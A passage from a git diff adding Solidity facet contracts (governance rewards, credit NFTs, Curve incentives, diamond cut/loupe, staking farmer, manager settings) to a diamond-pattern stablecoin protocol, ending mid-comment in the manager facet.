ChefFacet is Modifiers { + /** + * @notice Sets amount of Governance tokens minted each block + * @param _governancePerBlock Amount of Governance tokens minted each block + */ + function setGovernancePerBlock( + uint256 _governancePerBlock + ) external onlyTokenManager { + LibChef.setGovernancePerBlock(_governancePerBlock); + } + + /** + * @notice Sets Governance token divider param. The bigger `_governanceDivider` the less extra + * Governance tokens will be minted for the treasury. + * @notice Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + * @param _governanceDivider Governance divider param value + */ + function setGovernanceShareForTreasury( + uint256 _governanceDivider + ) external onlyTokenManager { + LibChef.setGovernanceShareForTreasury(_governanceDivider); + } + + /** + * @notice Sets min price difference between the old and the new Dollar prices + * @param _minPriceDiffToUpdateMultiplier Min price diff to update governance multiplier + */ + function setMinPriceDiffToUpdateMultiplier( + uint256 _minPriceDiffToUpdateMultiplier + ) external onlyTokenManager { + LibChef.setMinPriceDiffToUpdateMultiplier( + _minPriceDiffToUpdateMultiplier + ); + } + + /** + * @notice Withdraws pending Governance token rewards + * @param stakingShareID Staking share id + * @return Reward amount transferred to `msg.sender` + */ + function getRewards(uint256 stakingShareID) external returns (uint256) { + return LibChef.getRewards(stakingShareID); + } + + /** + * @notice Returns governance multiplier + * @return Governance multiplier + */ + function governanceMultiplier() external view returns (uint256) { + return LibChef._getGovernanceMultiplier(); + } + + /** + * @notice Returns amount of Governance tokens minted each block + * @return Amount of Governance tokens minted each block + */ + function governancePerBlock() external view returns (uint256) { + return LibChef.governancePerBlock(); + } + + /** + * @notice Returns governance divider param + * @notice Example: if `_governanceDivider = 5` then `100 / 5 = 20%` extra minted Governance tokens for treasury + * @return Governance divider param value + */ + function governanceDivider() external view returns (uint256) { + return LibChef.governanceDivider(); + } + + /** + * @notice Returns pool info + * @return Last block number when Governance tokens distribution occurred + * @return Accumulated Governance tokens per share, times 1e12 + */ + function pool() external view returns (uint256, uint256) { + LibChef.PoolInfo memory _pool = LibChef.pool(); + + return (_pool.lastRewardBlock, _pool.accGovernancePerShare); + } + + /** + * @notice Returns min price difference between the old and the new Dollar prices + * required to update the governance multiplier + * @return Min Dollar price diff to update the governance multiplier + */ + function minPriceDiffToUpdateMultiplier() external view returns (uint256) { + return LibChef.minPriceDiffToUpdateMultiplier(); + } + + /** + * @notice Returns amount of pending reward Governance tokens + * @param stakingShareID Staking share id + * @return Amount of pending reward Governance tokens + */ + function pendingGovernance( + uint256 stakingShareID + ) external view returns (uint256) { + return LibChef.pendingGovernance(stakingShareID); + } + + /** + * @notice Returns staking share info + * @param _id Staking share id + * @return Array of amount of shares and reward debt + */ + function getStakingShareInfo( + uint256 _id + ) external view returns (uint256[2] memory) { + return LibChef.getStakingShareInfo(_id); + } + + /** + * @notice Total amount of Dollar-3CRV LP tokens deposited to the Staking contract + * @return Total amount of deposited LP tokens + */ + function totalShares() external view returns (uint256) { + return LibChef.totalShares(); + } +} diff --git a/packages/contracts/src/dollar/facets/CollectableDustFacet.sol b/packages/contracts/src/dollar/facets/CollectableDustFacet.sol new file mode 100644 index 000000000..229641f07 --- /dev/null +++ b/packages/contracts/src/dollar/facets/CollectableDustFacet.sol @@ -0,0 +1,28 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../libraries/LibCollectableDust.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; +import {ICollectableDust} from "../../dollar/interfaces/utils/ICollectableDust.sol"; + +/// @notice Contract for collecting dust (i.e. not part of a protocol) tokens sent to a contract +contract CollectableDustFacet is ICollectableDust, Modifiers { + /// @inheritdoc ICollectableDust + function addProtocolToken(address _token) external onlyStakingManager { + LibCollectableDust.addProtocolToken(_token); + } + + /// @inheritdoc ICollectableDust + function removeProtocolToken(address _token) external onlyStakingManager { + LibCollectableDust.removeProtocolToken(_token); + } + + /// @inheritdoc ICollectableDust + function sendDust( + address _to, + address _token, + uint256 _amount + ) external onlyStakingManager { + LibCollectableDust.sendDust(_to, _token, _amount); + } +} diff --git a/packages/contracts/src/dollar/facets/CreditClockFacet.sol b/packages/contracts/src/dollar/facets/CreditClockFacet.sol new file mode 100644 index 000000000..fbc2d3181 --- /dev/null +++ b/packages/contracts/src/dollar/facets/CreditClockFacet.sol @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "abdk/ABDKMathQuad.sol"; +import "../libraries/Constants.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; +import {LibCreditClock} from "../libraries/LibCreditClock.sol"; + +/** + * @notice CreditClock Facet + */ +contract CreditClockFacet is Modifiers { + /** + * @notice Updates the manager address + * @param _manager New manager address + */ + function setManager(address _manager) external onlyAdmin { + LibCreditClock.setManager(_manager); + } + + /** + * @notice Returns the manager address + * @return Manager address + */ + function getManager() external view returns (address) { + return LibCreditClock.getManager(); + } + + /** + * @notice Sets rate to apply from this block onward + * @param _ratePerBlock ABDKMathQuad new rate per block to apply from this block onward + */ + function setRatePerBlock(bytes16 _ratePerBlock) external onlyAdmin { + LibCreditClock.setRatePerBlock(_ratePerBlock); + } + + /** + * @param blockNumber Block number to get the rate for. 0 for current block. + */ + function getRate(uint256 blockNumber) external view { + LibCreditClock.getRate(blockNumber); + } +} diff --git a/packages/contracts/src/dollar/facets/CreditNftManagerFacet.sol b/packages/contracts/src/dollar/facets/CreditNftManagerFacet.sol new file mode 100644 index 000000000..91852763a --- /dev/null +++ b/packages/contracts/src/dollar/facets/CreditNftManagerFacet.sol @@ -0,0 +1,219 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import {LibCreditNftManager} from "../libraries/LibCreditNftManager.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; + +/** + * @notice Contract facet for basic credit issuing and redemption mechanism for Credit NFT and Credit holders + * @notice Allows users to burn their Dollars in exchange for Credit NFTs or Credits redeemable in the future + * @notice Allows users to: + * - redeem individual Credit NFT or batch redeem Credit NFT on a first-come first-serve basis + * - redeem Credits for Dollars + */ +contract CreditNftManagerFacet is Modifiers { + /** + * @notice Credit NFT to Governance conversion rate + * @notice When Credit NFTs are expired they can be converted to + * Governance tokens using `rate` conversion rate + * @param rate Credit NFT to Governance tokens conversion rate + */ + function setExpiredCreditNftConversionRate( + uint256 rate + ) external onlyCreditNftManager { + LibCreditNftManager.setExpiredCreditNftConversionRate(rate); + } + + /** + * @notice Returns Credit NFT to Governance conversion rate + * @return Conversion rate + */ + function expiredCreditNftConversionRate() external view returns (uint256) { + return LibCreditNftManager.expiredCreditNftConversionRate(); + } + + /** + * @notice Sets Credit NFT block lifespan + * @param _creditNftLengthBlocks The number of blocks during which Credit NFTs can be + * redeemed for Dollars + */ + function setCreditNftLength( + uint256 _creditNftLengthBlocks + ) external onlyCreditNftManager { + LibCreditNftManager.setCreditNftLength(_creditNftLengthBlocks); + } + + /** + * @notice Returns Credit NFT block lifespan + * @return Number of blocks during which Credit NFTs can be + * redeemed for Dollars + */ + function creditNftLengthBlocks() external view returns (uint256) { + return LibCreditNftManager.creditNftLengthBlocks(); + } + + /** + * @notice Burns Dollars in exchange for Credit NFTs + * @notice Should only be called when Dollar price < 1$ + * @param amount Amount of Dollars to exchange for Credit NFTs + * @return Expiry block number when Credit NFTs can no longer be redeemed for Dollars + */ + function exchangeDollarsForCreditNft( + uint256 amount + ) external returns (uint256) { + return LibCreditNftManager.exchangeDollarsForCreditNft(amount); + } + + /** + * @notice Burns Dollars in exchange for Credit tokens + * @notice Should only be called when Dollar price < 1$ + * @param amount Amount of Dollars to burn + * @return Amount of Credits minted + */ + function exchangeDollarsForCredit( + uint256 amount + ) external returns (uint256) { + return LibCreditNftManager.exchangeDollarsForCredit(amount); + } + + /** + * @notice Returns amount of Credit NFTs to be minted for the `amount` of Dollars to burn + * @param amount Amount of Dollars to burn + * @return Amount of Credit NFTs to be minted + */ + function getCreditNftReturnedForDollars( + uint256 amount + ) external view returns (uint256) { + return LibCreditNftManager.getCreditNftReturnedForDollars(amount); + } + + /** + * @notice Returns the amount of Credit tokens to be minter for the provided `amount` of Dollars to burn + * @param amount Amount of Dollars to burn + * @return Amount of Credits to be minted + */ + function getCreditReturnedForDollars( + uint256 amount + ) external view returns (uint256) { + return LibCreditNftManager.getCreditReturnedForDollars(amount); + } + + /** + * @notice Handles the receipt of a single ERC1155 token type. This function is + * called at the end of a `safeTransferFrom` after the balance has been updated. + * + * NOTE: To accept the transfer, this must return + * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` + * (i.e. 0xf23a6e61, or its own function selector). + * + * @param operator The address which initiated the transfer (i.e. msg.sender) + * @param from The address which previously owned the token + * @param id The ID of the token being transferred + * @param value The amount of tokens being transferred + * @param data Additional data with no specified format + * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed + */ + function onERC1155Received( + address operator, + address from, + uint256 id, + uint256 value, + bytes calldata data + ) external view returns (bytes4) { + return + LibCreditNftManager.onERC1155Received( + operator, + from, + id, + value, + data + ); + } + + /** + * @notice Handles the receipt of a multiple ERC1155 token types. This function + * is called at the end of a `safeBatchTransferFrom` after the balances have + * been updated. + * + * NOTE: To accept the transfer(s), this must return + * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` + * (i.e. 0xbc197c81, or its own function selector). + * + * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed + */ + function onERC1155BatchReceived( + address, + address, + uint256[] calldata, + uint256[] calldata, + bytes calldata + ) external pure returns (bytes4) { + //reject the transfer + return ""; + } + + /** + * @notice Burns expired Credit NFTs for Governance tokens at `expiredCreditNftConversionRate` rate + * @param id Credit NFT timestamp + * @param amount Amount of Credit NFTs to burn + * @return governanceAmount Amount of Governance tokens minted to Credit NFT holder + */ + function burnExpiredCreditNftForGovernance( + uint256 id, + uint256 amount + ) public returns (uint256 governanceAmount) { + return + LibCreditNftManager.burnExpiredCreditNftForGovernance(id, amount); + } + + /** + * TODO: Should we leave it ? + * @notice Burns Credit NFTs for Credit tokens + * @param id Credit NFT timestamp + * @param amount Amount of Credit NFTs to burn + * @return Credit tokens balance of `msg.sender` + */ + function burnCreditNftForCredit( + uint256 id, + uint256 amount + ) public returns (uint256) { + return LibCreditNftManager.burnCreditNftForCredit(id, amount); + } + + /** + * @notice Burns Credit tokens for Dollars when Dollar price > 1$ + * @param amount Amount of Credits to burn + * @return Amount of unredeemed Credits + */ + function burnCreditTokensForDollars( + uint256 amount + ) public returns (uint256) { + return LibCreditNftManager.burnCreditTokensForDollars(amount); + } + + /** + * @notice Burns Credit NFTs for Dollars when Dollar price > 1$ + * @param id Credit NFT expiry block number + * @param amount Amount of Credit NFTs to burn + * @return Amount of unredeemed Credit NFTs + */ + function redeemCreditNft( + uint256 id, + uint256 amount + ) public returns (uint256) { + return LibCreditNftManager.redeemCreditNft(id, amount); + } + + /** + * @notice Mints Dollars when Dollar price > 1$ + * @notice Distributes excess Dollars this way: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + */ + function mintClaimableDollars() public { + LibCreditNftManager.mintClaimableDollars(); + } +} diff --git a/packages/contracts/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol b/packages/contracts/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol new file mode 100644 index 000000000..6c7d481b4 --- /dev/null +++ b/packages/contracts/src/dollar/facets/CreditNftRedemptionCalculatorFacet.sol @@ -0,0 +1,17 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {ICreditNftRedemptionCalculator} from "../../dollar/interfaces/ICreditNftRedemptionCalculator.sol"; +import {LibCreditNftRedemptionCalculator} from "../libraries/LibCreditNftRedemptionCalculator.sol"; + +/// @notice Contract facet for calculating amount of Credit NFTs to mint on Dollars burn +contract CreditNftRedemptionCalculatorFacet is ICreditNftRedemptionCalculator { + /// @inheritdoc ICreditNftRedemptionCalculator + function getCreditNftAmount( + uint256 dollarsToBurn + ) external view override returns (uint256) { + return + LibCreditNftRedemptionCalculator.getCreditNftAmount(dollarsToBurn); + } +} diff --git a/packages/contracts/src/dollar/facets/CreditRedemptionCalculatorFacet.sol b/packages/contracts/src/dollar/facets/CreditRedemptionCalculatorFacet.sol new file mode 100644 index 000000000..1ba16d8ce --- /dev/null +++ b/packages/contracts/src/dollar/facets/CreditRedemptionCalculatorFacet.sol @@ -0,0 +1,42 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "../../dollar/interfaces/ICreditRedemptionCalculator.sol"; + +import {Modifiers} from "../libraries/LibAppStorage.sol"; +import {LibCreditRedemptionCalculator} from "../libraries/LibCreditRedemptionCalculator.sol"; + +/// @notice Contract facet for calculating amount of Credits to mint on Dollars burn +contract CreditRedemptionCalculatorFacet is + Modifiers, + ICreditRedemptionCalculator +{ + /** + * @notice Sets the `p` param in the Credit mint calculation formula: + * `y = x * ((BlockDebtStart / BlockBurn) ^ p)` + * @param coef New `p` param in wei + */ + function setConstant(uint256 coef) external onlyIncentiveAdmin { + LibCreditRedemptionCalculator.setConstant(coef); + } + + /** + * @notice Returns the `p` param used in the Credit mint calculation formula + * @return `p` param + */ + function getConstant() external view returns (uint256) { + return LibCreditRedemptionCalculator.getConstant(); + } + + /// @inheritdoc ICreditRedemptionCalculator + function getCreditAmount( + uint256 dollarsToBurn, + uint256 blockHeightDebt + ) external view override returns (uint256) { + return + LibCreditRedemptionCalculator.getCreditAmount( + dollarsToBurn, + blockHeightDebt + ); + } +} diff --git a/packages/contracts/src/dollar/facets/CurveDollarIncentiveFacet.sol b/packages/contracts/src/dollar/facets/CurveDollarIncentiveFacet.sol new file mode 100644 index 000000000..2611f01f6 --- /dev/null +++ b/packages/contracts/src/dollar/facets/CurveDollarIncentiveFacet.sol @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibCurveDollarIncentive} from "../libraries/LibCurveDollarIncentive.sol"; +import {Modifiers} from "../libraries/LibAppStorage.sol"; + +/** + * @notice Facet adds buy incentive and sell penalty for Curve's Dollar-3CRV MetaPool + */ +contract CurveDollarIncentiveFacet is Modifiers { + /** + * @notice Adds buy and sell incentives + * @param sender Sender address + * @param receiver Receiver address + * @param amountIn Trade amount + */ + function incentivize( + address sender, + address receiver, + uint256 amountIn + ) external onlyDollarManager { + LibCurveDollarIncentive.incentivize(sender, receiver, amountIn); + } + + /** + * @notice Sets an address to be exempted from Curve trading incentives + * @param account Address to update + * @param isExempt Flag for whether to flag as exempt or not + */ + function setExemptAddress( + address account, + bool isExempt + ) external onlyAdmin { + LibCurveDollarIncentive.setExemptAddress(account, isExempt); + } + + /// @notice Switches the sell penalty + function switchSellPenalty() external onlyAdmin { + LibCurveDollarIncentive.switchSellPenalty(); + } + + /// @notice Switches the buy incentive + function switchBuyIncentive() external onlyAdmin { + LibCurveDollarIncentive.switchBuyIncentive(); + } + + /** + * @notice Checks whether sell penalty is enabled + * @return Whether sell penalty is enabled + */ + function isSellPenaltyOn() external view returns (bool) { + return LibCurveDollarIncentive.isSellPenaltyOn(); + } + + /** + * @notice Checks whether buy incentive is enabled + * @return Whether buy incentive is enabled + */ + function isBuyIncentiveOn() external view returns (bool) { + return LibCurveDollarIncentive.isBuyIncentiveOn(); + } + + /** + * @notice Checks whether `account` is marked as exempt + * @notice Whether `account` is exempt from buy incentive and sell penalty + */ + function isExemptAddress(address account) external view returns (bool) { + return LibCurveDollarIncentive.isExemptAddress(account); + } +} diff --git a/packages/contracts/src/dollar/facets/DiamondCutFacet.sol b/packages/contracts/src/dollar/facets/DiamondCutFacet.sol new file mode 100644 index 000000000..9bd066bb1 --- /dev/null +++ b/packages/contracts/src/dollar/facets/DiamondCutFacet.sol @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IDiamondCut} from "../interfaces/IDiamondCut.sol"; +import {LibDiamond} from "../libraries/LibDiamond.sol"; + +/** + * @notice Facet used for diamond selector modifications + * @dev Remember to add the loupe functions from DiamondLoupeFacet to the diamond. + * The loupe functions are required by the EIP2535 Diamonds standard. + */ +contract DiamondCutFacet is IDiamondCut { + /// @inheritdoc IDiamondCut + function diamondCut( + FacetCut[] calldata _diamondCut, + address _init, + bytes calldata _calldata + ) external override { + LibDiamond.enforceIsContractOwner(); + LibDiamond.diamondCut(_diamondCut, _init, _calldata); + } +} diff --git a/packages/contracts/src/dollar/facets/DiamondLoupeFacet.sol b/packages/contracts/src/dollar/facets/DiamondLoupeFacet.sol new file mode 100644 index 000000000..2045060a8 --- /dev/null +++ b/packages/contracts/src/dollar/facets/DiamondLoupeFacet.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibDiamond} from "../libraries/LibDiamond.sol"; +import {IDiamondLoupe} from "../interfaces/IDiamondLoupe.sol"; +import "@openzeppelin/contracts/interfaces/IERC165.sol"; + +/** + * @notice A loupe is a small magnifying glass used to look at diamonds. + * These functions look at diamonds. + * @dev These functions are expected to be called frequently by 3rd party tools. + * @dev The functions in DiamondLoupeFacet MUST be added to a diamond. + * The EIP-2535 Diamond standard requires these functions. + */ +contract DiamondLoupeFacet is IDiamondLoupe, IERC165 { + /// @inheritdoc IDiamondLoupe + function facets() external view override returns (Facet[] memory facets_) { + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + uint256 numFacets = ds.facetAddresses.length; + facets_ = new Facet[](numFacets); + for (uint256 i = 0; i < numFacets; ) { + address facetAddress_ = ds.facetAddresses[i]; + facets_[i].facetAddress = facetAddress_; + facets_[i].functionSelectors = ds + .facetFunctionSelectors[facetAddress_] + .functionSelectors; + unchecked { + i++; + } + } + } + + /// @inheritdoc IDiamondLoupe + function facetFunctionSelectors( + address _facet + ) external view override returns (bytes4[] memory facetFunctionSelectors_) { + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + facetFunctionSelectors_ = ds + .facetFunctionSelectors[_facet] + .functionSelectors; + } + + /// @inheritdoc IDiamondLoupe + function facetAddresses() + external + view + override + returns (address[] memory facetAddresses_) + { + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + facetAddresses_ = ds.facetAddresses; + } + + /// @inheritdoc IDiamondLoupe + function facetAddress( + bytes4 _functionSelector + ) external view override returns (address facetAddress_) { + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + facetAddress_ = ds + .selectorToFacetAndPosition[_functionSelector] + .facetAddress; + } + + /** + * @notice Returns `true` if this contract implements the interface defined by + * `interfaceId`. See the corresponding + * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] + * to learn more about how these ids are created. + * + * This function call must use less than 30 000 gas. + * @return Whether contract supports a provided interface + */ + function supportsInterface( + bytes4 _interfaceId + ) external view override returns (bool) { + LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage(); + return ds.supportedInterfaces[_interfaceId]; + } +} diff --git a/packages/contracts/src/dollar/facets/DirectGovernanceFarmerFacet.sol b/packages/contracts/src/dollar/facets/DirectGovernanceFarmerFacet.sol new file mode 100644 index 000000000..780c9a700 --- /dev/null +++ b/packages/contracts/src/dollar/facets/DirectGovernanceFarmerFacet.sol @@ -0,0 +1,148 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {Modifiers} from "../libraries/LibAppStorage.sol"; +import {LibDirectGovernanceFarmer} from "../libraries/LibDirectGovernanceFarmer.sol"; +import {IUbiquityDollarManager} from "../interfaces/IUbiquityDollarManager.sol"; + +/** + * @notice Simpler Staking Facet + * @notice How it works: + * 1. User sends stablecoins (DAI / USDC / USDT / Dollar) + * 2. Deposited stablecoins are added to Dollar-3CRV Curve MetaPool + * 3. User gets Dollar-3CRV LP tokens + * 4. Dollar-3CRV LP tokens are transferred to the staking contract + * 5. User gets a staking share id + */ +contract DirectGovernanceFarmerFacet is Modifiers { + //==================== + // Restricted functions + //==================== + + /** + @notice it works as a constructor to set contract values at storage + @param _manager Ubiquity Manager + @param base3Pool Base3Pool Address + @param ubiquity3PoolLP Ubiquity3PoolLP Address + @param _ubiquityDollar Ubiquity Dollar Address + @param zapPool ZapPool Address + */ + function initialize( + address _manager, + address base3Pool, + address ubiquity3PoolLP, + address _ubiquityDollar, + address zapPool + ) public onlyAdmin { + LibDirectGovernanceFarmer.init( + _manager, + base3Pool, + ubiquity3PoolLP, + _ubiquityDollar, + zapPool + ); + } + + //==================== + // Public/User functions + //==================== + + /** + * @notice Deposits a single token to staking + * @notice Stable coin (DAI / USDC / USDT / Ubiquity Dollar) => Dollar-3CRV LP => Ubiquity Staking + * @notice How it works: + * 1. User sends stablecoins (DAI / USDC / USDT / Dollar) + * 2. Deposited stablecoins are added to Dollar-3CRV Curve MetaPool + * 3. User gets Dollar-3CRV LP tokens + * 4. Dollar-3CRV LP tokens are transferred to the staking contract + * 5. User gets a staking share id + * @param token Token deposited : DAI, USDC, USDT or Ubiquity Dollar + * @param amount Amount of tokens to deposit (For max: `uint256(-1)`) + * @param durationWeeks Duration in weeks tokens will be locked (1-208) + */ + function depositSingle( + address token, + uint256 amount, + uint256 durationWeeks + ) external nonReentrant returns (uint256 stakingShareId) { + return + LibDirectGovernanceFarmer.depositSingle( + token, + amount, + durationWeeks + ); + } + + /** + * @notice Deposits into Ubiquity protocol + * @notice Stable coins (DAI / USDC / USDT / Ubiquity Dollar) => uAD3CRV-f => Ubiquity StakingShare + * @notice STEP 1 : Change (DAI / USDC / USDT / Ubiquity dollar) to 3CRV at uAD3CRV MetaPool + * @notice STEP 2 : uAD3CRV-f => Ubiquity StakingShare + * @param tokenAmounts Amount of tokens to deposit (For max: `uint256(-1)`) it MUST follow this order [Ubiquity Dollar, DAI, USDC, USDT] + * @param durationWeeks Duration in weeks tokens will be locked (1-208) + * @return stakingShareId Staking share id + */ + function depositMulti( + uint256[4] calldata tokenAmounts, + uint256 durationWeeks + ) external nonReentrant returns (uint256 stakingShareId) { + return + LibDirectGovernanceFarmer.depositMulti(tokenAmounts, durationWeeks); + } + + /** + * @notice Withdraws from Ubiquity protocol + * @notice Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @notice STEP 1 : Ubiquity StakingShare => uAD3CRV-f + * @notice STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @param stakingShareId Staking Share Id to withdraw + * @return tokenAmounts Array of token amounts [Ubiquity Dollar, DAI, USDC, USDT] + */ + function withdrawId( + uint256 stakingShareId + ) external nonReentrant returns (uint256[4] memory tokenAmounts) { + return LibDirectGovernanceFarmer.withdrawWithId(stakingShareId); + } + + /** + * @notice Withdraws from Ubiquity protocol + * @notice Ubiquity StakingShare => uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @notice STEP 1 : Ubiquity StakingShare => uAD3CRV-f + * @notice STEP 2 : uAD3CRV-f => stable coin (DAI / USDC / USDT / Ubiquity Dollar) + * @param stakingShareId Staking Share Id to withdraw + * @param token Token to withdraw to : DAI, USDC, USDT, 3CRV or Ubiquity Dollar + * @return tokenAmount Amount of token withdrawn + */ + function withdraw( + uint256 stakingShareId, + address token + ) external nonReentrant returns (uint256 tokenAmount) { + return LibDirectGovernanceFarmer.withdraw(stakingShareId, token); + } + + //===================== + // Helper Views + //===================== + + /** + * @notice Checks whether `id` exists in `idList[]` + * @param idList Array to search in + * @param id Value to search in `idList` + * @return Whether `id` exists in `idList[]` + */ + function isIdIncluded( + uint256[] memory idList, + uint256 id + ) external pure returns (bool) { + return LibDirectGovernanceFarmer.isIdIncluded(idList, id); + } + + /** + * @notice Helper function that checks that `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + * @param token Token address to check + * @return Whether `token` is one of the underlying MetaPool tokens or stablecoin from MetaPool + */ + function isMetaPoolCoin(address token) external pure returns (bool) { + return LibDirectGovernanceFarmer.isMetaPoolCoin(token); + } +} diff --git a/packages/contracts/src/dollar/facets/DollarMintCalculatorFacet.sol b/packages/contracts/src/dollar/facets/DollarMintCalculatorFacet.sol new file mode 100644 index 000000000..7851830da --- /dev/null +++ b/packages/contracts/src/dollar/facets/DollarMintCalculatorFacet.sol @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IDollarMintCalculator} from "../../dollar/interfaces/IDollarMintCalculator.sol"; +import {LibDollarMintCalculator} from "../libraries/LibDollarMintCalculator.sol"; + +/// @notice Calculates amount of Dollars ready to be minted when TWAP price (i.e. Dollar price) > 1$ +contract DollarMintCalculatorFacet is IDollarMintCalculator { + /// @inheritdoc IDollarMintCalculator + function getDollarsToMint() external view override returns (uint256) { + return LibDollarMintCalculator.getDollarsToMint(); + } +} diff --git a/packages/contracts/src/dollar/facets/DollarMintExcessFacet.sol b/packages/contracts/src/dollar/facets/DollarMintExcessFacet.sol new file mode 100644 index 000000000..f55788447 --- /dev/null +++ b/packages/contracts/src/dollar/facets/DollarMintExcessFacet.sol @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {IDollarMintExcess} from "../../dollar/interfaces/IDollarMintExcess.sol"; +import {LibDollarMintExcess} from "../libraries/LibDollarMintExcess.sol"; + +/** + * @notice Contract facet for distributing excess Dollars when `mintClaimableDollars()` is called + * @notice Excess Dollars are distributed this way: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + */ +contract DollarMintExcessFacet is IDollarMintExcess { + /// @inheritdoc IDollarMintExcess + function distributeDollars() external override { + LibDollarMintExcess.distributeDollars(); + } +} diff --git a/packages/contracts/src/dollar/facets/ManagerFacet.sol b/packages/contracts/src/dollar/facets/ManagerFacet.sol new file mode 100644 index 000000000..62f1e23b4 --- /dev/null +++ b/packages/contracts/src/dollar/facets/ManagerFacet.sol @@ -0,0 +1,447 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {Modifiers} from "../libraries/LibAppStorage.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +import "../../dollar/interfaces/IUbiquityDollarToken.sol"; +import "../../dollar/interfaces/ICurveFactory.sol"; +import "../../dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import "../libraries/LibAccessControl.sol"; + +/** + * @notice Facet for setting protocol parameters + */ +contract ManagerFacet is Modifiers { + /** + * @notice Sets Credit token address + * @param _creditTokenAddress Credit token address + */ + function setCreditTokenAddress( + address _creditTokenAddress + ) external onlyAdmin { + store.creditTokenAddress = _creditTokenAddress; + } + + /** + * @notice Sets Dollar token address + * @param _dollarTokenAddress Dollar token address + */ + function setDollarTokenAddress( + address _dollarTokenAddress + ) external onlyAdmin { + store.dollarTokenAddress = _dollarTokenAddress; + } + + /** + * @notice Sets UbiquiStick address + * @param _ubiquistickAddress UbiquiStick address + */ + function setUbiquistickAddress( + address _ubiquistickAddress + ) external onlyAdmin { + store.ubiquiStickAddress = _ubiquistickAddress; + } + + /** + * @notice Sets Credit NFT address + * @param _creditNftAddress Credit NFT address + */ + function setCreditNftAddress(address _creditNftAddress) external onlyAdmin { + store.creditNftAddress = _creditNftAddress; + } + + /** + * @notice Sets Governance token address + * @param _governanceTokenAddress Governance token address + */ + function setGovernanceTokenAddress( + address _governanceTokenAddress + ) external onlyAdmin { + store.governanceTokenAddress = _governanceTokenAddress; + } + + /** + * @notice Sets Sushi swap pool address (Dollar-Governance) + * @param _sushiSwapPoolAddress Pool address + */ + function setSushiSwapPoolAddress( + address _sushiSwapPoolAddress + ) external onlyAdmin { + store.sushiSwapPoolAddress = _sushiSwapPoolAddress; + } + + /** + * @notice Sets Dollar mint calculator address + * @param _dollarMintCalculatorAddress Dollar mint calculator address + */ + function setDollarMintCalculatorAddress( + address _dollarMintCalculatorAddress + ) external onlyAdmin { + store.dollarMintCalculatorAddress = _dollarMintCalculatorAddress; + } + + /** + * @notice Sets excess Dollars distributor address + * @param creditNftManagerAddress Credit NFT manager address + * @param dollarMintExcess Dollar distributor address + */ + function setExcessDollarsDistributor( + address creditNftManagerAddress, + address dollarMintExcess + ) external onlyAdmin { + store._excessDollarDistributors[ + creditNftManagerAddress + ] = dollarMintExcess; + } + + /** + * @notice Sets MasterChef address + * @param _masterChefAddress MasterChef address + */ + function setMasterChefAddress( + address _masterChefAddress + ) external onlyAdmin { + store.masterChefAddress = _masterChefAddress; + } + + /** + * @notice Sets formulas address + * @param _formulasAddress Formulas address + */ + function setFormulasAddress(address _formulasAddress) external onlyAdmin { + store.formulasAddress = _formulasAddress; + } + + /** + * @notice Sets staking share address + * @param _stakingShareAddress Staking share address + */ + function setStakingShareAddress( + address _stakingShareAddress + ) external onlyAdmin { + store.stakingShareAddress = _stakingShareAddress; + } + + /** + * @notice Sets Curve Dollar incentive address + * @param _curveDollarIncentiveAddress Curve Dollar incentive address + */ + function setCurveDollarIncentiveAddress( + address _curveDollarIncentiveAddress + ) external onlyAdmin { + store.curveDollarIncentiveAddress = _curveDollarIncentiveAddress; + } + + /** + * @notice Sets Curve Dollar-3CRV MetaPool address + * @param _stableSwapMetaPoolAddress Curve Dollar-3CRV MetaPool address + */ + function setStableSwapMetaPoolAddress( + address _stableSwapMetaPoolAddress + ) external onlyAdmin { + store.stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress; + } + + /** + * 